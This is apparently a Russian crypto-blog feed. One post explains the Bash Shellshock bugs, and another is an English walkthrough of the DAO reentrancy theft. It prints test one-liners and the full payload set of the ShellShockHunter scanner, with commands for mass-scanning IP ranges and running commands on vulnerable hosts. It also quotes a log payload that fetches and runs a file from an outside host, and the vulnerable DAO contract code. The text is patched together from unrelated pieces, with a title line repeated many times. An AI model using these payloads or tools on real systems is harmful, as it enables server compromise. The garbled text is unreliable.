Ошибка вызвана сходными проблемами в коде Bash однако воздействует с помощью многократного повторения “<<EOF”Тестbash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “Уязвим по CVE-2014-7186, redir_stack” Уязвимая система отобразит текст “Уязвим по CVE-2014-7186, redir_stack”.

CVE-2014-7187

Ошибка вызвана сходными проблемами в коде Bash, однако воздействует с помощью множественных повторений «done»Тест(for x in {1..200} ; do echo “for x$x in ; do :”; done; for x in {1..200} ; do echo done ; done) | bash || echo “Уязвим по CVE-2014-7187, word_lineno” Уязвимая система отобразит текст «Уязвим по CVE-2014-7187, word_lineno».

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи


Векторы атаки

В течение часа после публикации уязвимости Bash появились сообщения о взломе компьютерных систем с её помощью. 25 сентября были подтверждены различные атаки «in the wild», начиная с простых DoS, заканчивая развёртыванием серверов command & control через зловредную систему «BASHLITE».

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Корпорация Kaspersky Labs сообщала, что некоторые из зараженных компьютеров начали атаку DDoS против трех целей[8]. 26 сентября был обнаружен ботнет «wopbot», составленный из серверов, зараженных через bashdoor, и используемый в DDoS против CDN Akamai Technologies и для сканирования сетей Министерства обороны США[7].

Существует несколько потенциальных путей, которыми атакующий может воспользоваться для передачи произвольных переменных окружения в bash, исполняемый на атакуемом сервере:

CGI-атака на веб-сервера блокчейна Биткоин.

Веб-сервера, исполняющие скрипты Common Gateway Interface (CGI) передают подробности о пользовательском запросе через переменные окружения, например HTTP_USER_AGENT. Если запрос обрабатывается программой Bash, либо другой программой, которая внутри себя вызывает bash, то атакующий может подменить передаваемую по http строку User-Agent на триггер атаки Shellshock, добавив свои команды. Например, в качестве такой команды может подаваться инструкция «ping» с адресом атакующего. По входящим ping-запросам атакующий узнает, сработала ли атака.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Несмотря на то, что CGI — устаревший интерфейс, обладающий и другими рисками безопасности[37], он всё ещё используется. Например, уязвим один из стандартных скриптов cPanel[38], по оценкам уязвимый cPanel может использоваться на 2—3 % веб-сайтов[39].

Атака на SSH-сервер

SSH-сервер OpenSSH позволяет ограничивать пользователя фиксированным набором доступных команд (опция «ForceCommand»). Фиксированная команда исполняется даже если пользователь запросил исполнение иной команды. Запрошенная команда в этом случае сохраняется в переменной среды «SSH_ORIGINAL_COMMAND». Если фиксированная команда исполняется в интерпретаторе Bash shell (если пользовательский интерпретатор установлен в Bash), GNU Bash обнаружит заложенные в среду значения SSH_ORIGINAL_COMMAND при запуске, и, в случае уязвимости перед Bashdoor, исполнит встроенные туда команды. Таким образом атакующий с доступом лишь к ограниченной оболочке получает неограниченный доступ[3].

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Набор OpenSSH содержит следующие компоненты:sshЗамена для rlogin и telnet.scpЗамена для rcp, использующая в современных версиях OpenSSH протокол SFTP (ранее использовался менее надёжный и гибкий SCP).sftpЗамена для FTP-клиента, использующая протокол SFTP.sshdДемон, собственно предоставляющий защищённый доступ к ресурсам. Включает реализацию серверной части SFTP, пригодную для организации chroot-доступа для пользователей без необходимости копирования каких-либо файлов внутрь chroot.sftp-serverОтдельная реализация подсистемы SFTP (серверная часть). Обладает бо́льшими возможностями, чем встроенная в sshd.ssh-keygenГенератор пар ключей.ssh-keysignУтилита для проверки ключей хостов. Задействуется при использовании аутентификации по хостам (аналогично rsh) вместо проводимой по умолчанию аутентификации по пользователям.ssh-keyscanВспомогательная утилита. Позволяет собирать публичные ключи с других хостов.ssh-agentВспомогательная утилита. Поддерживает кэш закрытых ключей. Кэширование позволяет избегать частого ввода пароля для расшифровки ключей перед их использованием.ssh-addВспомогательная утилита. Добавляет ключи в кэш ssh-agent.

Безопасные туннели

Перенаправление портов

Большинство программ для установления соединения используют протокол TCP, трафик которого можно передавать через безопасный туннель. Таким образом можно устанавливать множество дополнительных TCP-соединений поверх одного SSH-соединения. Это удобно для сокрытия соединений и шифрования протоколов, которые являются небезопасными, а также для обхода ограничений фаерволлов. UDP-соединения иногда тоже возможно туннелировать при помощи дополнительных программ, таких как netcat. Простыми для туннелирования являются такие протоколы как, например, HTTPPOP3 и VNC.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Перенаправление портов возможно в любую сторону.

Кроме того, некоторое ПО может автоматически использовать OpenSSH для создания туннеля. Например DistCCCVSrsync, и fetchmail.

Из протоколов, которые сложнее туннелировать, стоит отметить FTP, который часто можно заменить SFTP, и SMB. В некоторых операционных системах удаленные файловые системы можно монтировать через ssh используя shfslufs и другие аналогичные компоненты.

X Window System

OpenSSH позволяет безопасно организовывать подключения к X Window System с учётом «переворота» семантики: хост-клиент SSH для X Window System является сервером, и наоборот. Для этого OpenSSH осуществляет дополнительные операции вроде установки переменной окружения DISPLAY.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

SOCKS

OpenSSH возможно использовать как специальный SOCKS прокси сервер поддерживающий более гибкое проксирование, чем просто перенаправление портов.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

VPN

Начиная с версии 4.3, OpenSSH может использовать туннельные сетевые интерфейсы 2-го и 3-го уровней модели OSI (tun). Таким образом можно организовать защищённую VPN и обойтись без необходимости переделки приложений для поддержки SOCKS.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Аутентификация

OpenSSH сервер может аутентифицировать пользователей, используя встроенные механизмы аутентификации:

  • Публичные ключи,
  • Клавиатурный ввод (пароли и запрос-ответ),
  • Kerberos/GSS-API.

В дополнение OpenSSH Portable обычно может использовать методы аутентификации, доступные в конкретной операционной системе, например, BSD Authentication или PAM.

Атака на DHCP-клиент

DHCP-клиент обычно запрашивает IP адрес у DHCP-сервера. Однако сервер может послать несколько дополнительных опций, которые могут записываться в переменные среды и приводить к эксплуатации ошибки Shellshock на компьютере или ноутбуке, подключаемом к локальной сети.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Повышение привилегий через setuid программы

Программа с установленным битом setuid может вызывать bash непосредственно, либо косвенно при использовании системных вызовов system(3), popen и других, не сбрасывая при этом переменные окружения. Атака Shellshock в таких случаях позволит локальному пользователю повысить собственные привилегии до владельца подобной setuid программы, часто вплоть до root (суперпользователя).

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи
ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Уязвимость офлайн-систем

Ошибка потенциально может достичь систем, не подключённых к сети Интернет, во время офлайн-обработки с помощью bash.


Уязвимость CVE-2014-6271 («Bash») – это легко эксплуатируемая уязвимость, использование которой может привести к очень серьезным последствиям. Эксплуатируя эту уязвимость, атакующая сторона получает возможность выполнять команды системного уровня с такими же привилегиями, как и затронутые сервисы.

В большинстве случаев, встречающихся сейчас в интернете, киберпреступники удаленно атакуют веб-серверы, на которых размещены CGI –скрипты, написанные на языке bash.

В настоящее время уязвимость уже была использована киберпреступниками: уязвимые веб-серверы заражались вредоносным ПО, а также проводились хакерские атаки. Аналитики «Лаборатории Касперского» постоянно обнаруживают новые вредоносные образцы и случаи заражения с использованием данной уязвимости. Дополнительная информация об этом вредоносном ПО будет опубликована в ближайшее время.

Важно понимать, что данная уязвимость не привязана к конкретному сервису, такому как Apache или nginx. Скорее, это уязвимость интерпретатора командной оболочки bash, позволяющая атакующей стороне добавлять команды системного уровня к переменным среды bash.

Как эксплуатируется уязвимость?

Я постараюсь объяснить принцип эксплуатации уязвимости на тех примерах, которые даются в информационных сообщениях и опубликованном концептуальном коде. CGI-скрипт, размещенный на веб-сервере, автоматически читает определенные переменные среды, такие как IP-адрес, версия браузера и информация о локальной системе.

Теперь представьте себе, что есть возможность не только передать эту обычную системную информацию CGI-скрипту, но и поручить скрипту выполнение команд системного уровня. Это означает, что как только происходит обращение к CGI-скрипту, он считывает переменные вашей среды – без всякой регистрации на веб-сервере. Если переменные среды содержат строку эксплойта, скрипт также выполнит указанную вами команду.


ShellShockHunter Tool v1.0

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Shellshock (software bug)

Shellshock, также известный как Bashdoor, представляет собой семейство ошибок безопасности в оболочке Unix Bash, первая из которых была обнаружена 24 сентября 2014 года. Shellshock может позволить злоумышленнику заставить Bash выполнять произвольные команды и получить несанкционированный доступ ко многим интернет-файлам. сталкиваются со службами, такими как веб-серверы, которые используют Bash для обработки запросов.

GIT CLONE

git clone https://github.com/MrCl0wnLab/ShellShockHunter

INSTALLATION pip

pip install shodan
pip install ipinfo


                                 ,'/
                               ,' /
                             ,'  /_____,
                           .'____    ,'    
                                /  ,'
                               / ,'
                              /,'
                             /'
     ____  _     _____ _     _     ____  _      ___       _    
    / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
    \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
     ___) | | | |___) | |___| |___ ___) | | | | |_| | (__|   < 
    |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
             __   _   _             _              __                  
            | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
            | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
            | |  |  _  | |_| | | | | ||  __/ |     | |                 
            | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
            |__|                                  |__| v1.0                
              By: MrCl0wn / https://blog.mrcl0wn.com                                                                          
 
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
  -h, --help        show this help message and exit
  --file <ips.txt>  File targets
  --range <ip-start>,<ip-end>
                    Range IP Ex: 192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>
                    Command: uname -a
  --exec-vuln <command shell>
                    Executing commands on vulnerable targets
  --thread <10>, -t <10>
                    Eg. 20
  --check           Checker vuln
  --ssl             Set protocol https
  --cgi-file <cgi.txt>
                    Set file cgi
  --timeout <5>     Set timeout conection
  --all             Teste all payloads
  --debug           Set debugs

COMMAND:

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

В чем уникальность этой уязвимости?

Данную уязвимость крайне легко эксплуатировать, что приводит к крайне тяжелым последствиям – не в последнюю очередь из-за количества уязвимых мишеней. Это касается не только веб-серверов, но и любого ПО, использующего интерпретатор bash и считывающего данные, которые вы можете контролировать.

В данный момент аналитики выясняют, затронуты ли в связи с этой уязвимостью другие интерпретаторы – PHP, JSP, Python и Perl. В зависимости от того, как  написан код, интерпретатор в некоторых случаях может использовать bash для выполнения ряда функций. В связи с этим эксплуатация уязвимости CVE-2014-6271 может быть осуществлена через другие интерпретаторы.

Эксплуатация уязвимости имеет серьезные последствия в силу того, что CGI-скрипты широко используются на многих устройствах: роутерах, бытовых устройствах и беспроводных точках доступа. Все они также уязвимы, причем закрыть уязвимость на них зачастую достаточно сложно.

PRINTS:

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи


Насколько широко эксплуатируется данная уязвимость?

На этот вопрос сложно дать точный ответ. По данным информационных сервисов «Лаборатории Касперского», разработка экплойтов и червей началась сразу после публикации информации об уязвимости. Поиск уязвимых серверов в интернете ведется как белыми, так и черными хакерами.

Пока недостаточно данных, чтобы определить, насколько распространена эта уязвимость. Из своих личных исследований я знаю, что на CGI-скриптах работает множество веб-серверов. Весьма вероятно, что в будущем будет разрабатываться большое количество эксплойтов, нацеленных на локальные файлы и сетевых демонов. Кроме того, есть подозрения, что OpenSSH и dhcp-клиенты также уязвимы к данному типу атак.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Как проверить, есть ли уязвимость в моей системе/вебсайте?

Проще всего проверить систему на наличие уязвимости следующим образом: открыть на вашей системе командную оболочку bash и выполнить следующую команду:

1“env x='() { :;}; echo vulnerable’ bash  -c “echo this is a test”

Если оболочка возвращает строку «vulnerable», систему нужно обновить.

Для более опытных пользователей имеются другие инструменты, позволяющие проверить на наличие данной уязвимости сервер.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Как решить проблему?

В первую очередь нужно обновить версию среды bash. Патчи для этой уязвимости доступны в различных дистрибутивах Linux. И пусть на сегодняшний день не все патчи показали себя стопроцентно эффективными, начать следует именно с их установки.

Если вы используете любую систему обнаружения и/или предотвращения вторжений, также рекомендуется добавить/загрузить сигнатуру для данной угрозы. Опубликовано множество публичных правил.

Наконец, проверьте конфигурацию вашего веб-сервера. Если имеются неиспользуемые CGI-скрипты, рассмотрите возможность их отключения.

{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Есть ли угроза для онлайн-банкинга?

Эксплуатация данной уязвимости широко применяется по отношению к серверам, размещенным в интернете. Уязвимы даже некоторые рабочие станции, работающие на Linux и OSX, однако киберпреступникам для проведения атаки необходимо найти вектор атаки, позволяющий удаленно использовать уязвимость на конкретной рабочей станции.

Данная угроза нацелена не на индивидуальных пользователей, а на серверы, размещенные в интернете. Это означает, что если, например, уязвим ваш любимый сайт электронной коммерции или онлайн-банкинга, то злоумышленники теоретически могут взломать сервер и получить доступ к вашим персональным данным, в том числе, возможно, и к банковской информации.

Пока сложно сказать определенно, какие платформы могут быть уязвимы и стать мишенью для атаки, но я бы рекомендовал не проводить платежи по кредитной карте и не делиться конфиденциальной информацией в сети в ближайшую пару дней, пока вирусные аналитики не прояснят ситуацию.

{
    "config": {
        "threads": 10,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

Как я могу определить, что стал мишенью для атаки с использованием этой уязвимости?

Мы рекомендуем просмотреть ваши HTTP-журналы и проверить, нет ли в них записей о подозрительной активности, например такой:

1192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;”

Существуют также некоторые патчи для среды bash, которые протоколируют каждую команду, передаваемую bash-интерпретатору, что позволяет проследить, не был ли ваш компьютер атакован. Они не защитят вас от атаки, использующей данную уязвимость, но отразят в журнале действия атакующей стороны в вашей системе.

│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
└── cgi.txt

Насколько серьезна данная угроза?

Угроза действительно серьезна, но не каждая система является уязвимой. Так, для успешной атаки на веб-сервер требуется выполнение ряда условий. Одной из самих больших проблем сейчас является то, что после публикации патчей исследователи начинают искать другие способы эксплуатации среды bash, анализировать различные условия, делающие эксплуатацию возможной, и т.п. В связи с этим патч, защищающий от удаленного выполнения кода, никак не сможет предотвратить, например, перезапись файла. По всей видимости, в будущем будет опубликован целый ряд патчей, а до тех пор системы будут оставаться уязвимыми.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Это новый Heartbleed?

По сравнению с Heartbleed эту уязвимость гораздо легче эксплуатировать. Кроме того, в случае Heartbleed киберпреступник мог только похитить данные из памяти в надежде на то, что среди них встретится что-нибудь стоящее, в то время как уязвимость bash делает возможным полный контроль над системой. Такие образом, она представляется намного более опасной, чем Heartbleed.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Может ли эта уязвимость в будущем быть использована для проведения APT-атак?

Конечно, в будущем эта уязвимость может быть использована для разработки вредоносных программ. Могут появиться вредоносные программы, автоматически проверяющие атакуемую инфраструктуру на наличие данной уязвимости, с целью дальнейшего заражения системы или проведения других видов атак.


Эта уязвимость связана с функцией «экспорта функций» bash . Команда экспорта используется для экспорта переменной или функции в среду всех дочерних процессов, работающих в текущей оболочке. Эта функция «экспорта функций» реализуется путем кодирования сценариев в таблице, которая является общей для всех экземпляров и называется списком переменных среды.

Хотя Bash не является службой, подключенной к Интернету, многие сетевые и интернет-службы используют переменные среды для связи с ОС сервера. Если эти переменные среды не очищаются перед выполнением, злоумышленник может отправлять команды через HTTP-запросы и выполнять их операционной системой сервера.

Векторы эксплуатации:

  1. Веб-сервер на основе CGI
  2. OpenSSH-сервер
  3. DHCP-клиенты
  4. Qmail-сервер
  5. Ограниченная оболочка IBM HMC
  6. Веб-сервер на основе CGI:

CGI означает «Общий интерфейс шлюза» и используется для обработки запросов документов. Когда определенный объем информации копируется из запроса в список переменных среды и если этот запрос делегируется программой-обработчиком, которая представляет собой сценарий bash, тогда bash получит переменные среды, переданные сервером, и обработает их. Это дает злоумышленнику возможность активировать уязвимость Shellshock с помощью специально созданного запроса документа.

Nmap :

You can use this two commands to find whether the target website is vulnerable to Shellshock or not.

nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

CGI использует bash в качестве обработчика запросов по умолчанию, и эта атака не требует какой-либо аутентификации, поэтому большая часть атак происходит на страницах CGI с целью использования этой уязвимости. CGI-скрипты могут быть чрезвычайно опасны, если их тщательно не проверять.

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

2. Сервер OpenSSH:

OpenSSH также известен как OpenBSD Secure Shell. Это набор безопасных сетевых утилит, основанных на протоколе SSH, который обеспечивает безопасный канал через незащищенную сеть в архитектуре клиент-сервер.

OpenSSH имеет функцию «ForceCommand» , при которой при входе пользователя в систему выполняется фиксированная команда, а не просто запуск неограниченной командной оболочки. Фиксированная команда выполняется, даже если пользователь указал, что должна быть запущена другая команда; в этом случае исходная команда помещается в переменную среды «SSH_ORIGINAL_COMMAND» . Когда принудительная команда запускается в оболочке Bash, оболочка Bash анализирует переменную среды SSH_ORIGINAL_COMMAND при запуске и запускает встроенные в нее команды. Пользователь использовал свой ограниченный доступ к оболочке, чтобы получить неограниченный доступ к оболочке, используя ошибку Shellshock.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

3. DHCP-клиенты:

DHCP означает протокол динамической конфигурации хоста. Это протокол управления сетью, используемый в сетях Интернет-протокола, при котором DHCP-сервер динамически назначает IP-адрес и другие параметры конфигурации сети каждому устройству в сети, чтобы они могли взаимодействовать с другими IP-сетями.

Некоторые клиенты DHCP также могут передавать команды Bash; уязвимая система может быть атакована при подключении к открытой сети Wi-Fi. Клиент DHCP обычно запрашивает и получает IP-адрес от сервера DHCP, но ему также может быть предоставлен ряд дополнительных опций. В одном из этих вариантов вредоносный DHCP-сервер может предоставить строку, предназначенную для выполнения кода на уязвимой рабочей станции или ноутбуке.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

4. Сервер Qmail:

Qmail — это агент передачи почты, работающий в Unix. Он был написан в декабре 1995 года Дэниелом Дж. Бернштейном как более безопасная замена популярной программы Sendmail.

При использовании Bash для обработки сообщений электронной почты (например, через канал .forward или qmail-alias) почтовый сервер qmail передает внешние входные данные таким образом, что можно использовать уязвимую версию Bash.

Checking for CGI scripts

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

5. Ограниченная оболочка IBM HMC:

Ограниченная оболочка — это оболочка Unix, которая ограничивает некоторые возможности, доступные интерактивному сеансу пользователя или сценарию оболочки, выполняющемуся в ней. Он предназначен для обеспечения дополнительного уровня безопасности, но его недостаточно для запуска полностью ненадежного программного обеспечения.

Эту ошибку можно использовать для получения доступа к Bash из ограниченной оболочки IBM Hardware Management Console , крошечного варианта Linux для системных администраторов. IBM выпустила исправление для решения этой проблемы.

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Векторы атаки Shellshock?

Когда вы отправляете запрос и когда этот запрос получен сервером, есть три части запроса, которые могут быть уязвимы для атаки Shellshock.

  1. Запрошенный URL
  2. Заголовки в запросах (например, пользовательский агент, реферер и т. д.)
  3. Аргументы в запросах (например, имя, идентификатор и т. д.)

Уязвимость Shellshock обычно возникает, когда злоумышленник изменяет исходный HTTP-запрос, чтобы он содержал магический () { :; }; нить.

Предположим, злоумышленник изменил заголовок User-Agent с Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 на просто () { :; }; /bin/извлечь

ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Это создаст следующую переменную внутри веб-сервера: HTTP_USER_AGENT=() { :; }; /bin/извлечь

Теперь, если веб-сервер передает эту переменную в bash, возникает уязвимость Shellshock.

Вместо того, чтобы рассматривать переменную HTTP_USER_AGENT как последовательность символов, не имеющую особого значения, bash интерпретирует ее как команду, которую необходимо выполнить. Проблема в том, что HTTP_USER_AGENT исходит из заголовка User-Agent , который контролируется злоумышленником, поскольку он поступает на веб-сервер в HTTP-запросе.


Литература:


Исходный код

POLYNONCE ATTACK

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/fIYYi1kGEnc

Источник: https://cryptodeeptool.ru/shellshock-attack-on-bitcoin


ShellShock Attack уязвимости на сервере "Bitcoin" & "Ethereum" обнаруженный в GNU Bash криптовалютной биржи

Сообщение ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи появились сначала на «CRYPTO DEEP TOOLS».

]]>
Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack https://cryptodeeptool.ru/dao-exploit/ Fri, 23 Jun 2023 20:15:53 +0000 https://cryptodeeptool.ru/?p=3534 In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and […]

Сообщение Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack появились сначала на «CRYPTO DEEP TOOLS».

]]>

In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended.

This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO.

A Multi-Stage Attack

This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds.

Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em):

function splitDAO(
  uint _proposalID,
  address _newCurator
) noEther onlyTokenholders returns (bool _success) {

  ...
  // XXXXX Move ether and assign new Tokens.  Notice how this is done first!
  uint fundsToBeMoved =
      (balances[msg.sender] * p.splitData[0].splitBalance) /
      p.splitData[0].totalSupply;
  if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once
      throw;

  ...
  // Burn DAO Tokens
  Transfer(msg.sender, 0, balances[msg.sender]);
  withdrawRewardFor(msg.sender); // be nice, and get his rewards
  // XXXXX Notice the preceding line is critically before the next few
  totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST
  balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO
  paidOut[msg.sender] = 0;
  return true;
}

The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO.

How does the DAO decide how many tokens to move? Using the balances array of course:

uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply;

Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time.

The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
  if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
    throw;

  uint reward =
    (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
  if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable
    throw;
  paidOut[_account] += reward;
  return true;
}

If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called:

function payOut(address _recipient, uint _amount) returns (bool) {
  if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
      throw;
  if (_recipient.call.value(_amount)()) { // XXXXX vulnerable
      PayOut(_recipient, _amount);
      return true;
  } else {
      return false;
}

Notice how the marked line is exactly the vulnerable code mentioned in the description of the exploit we linked!

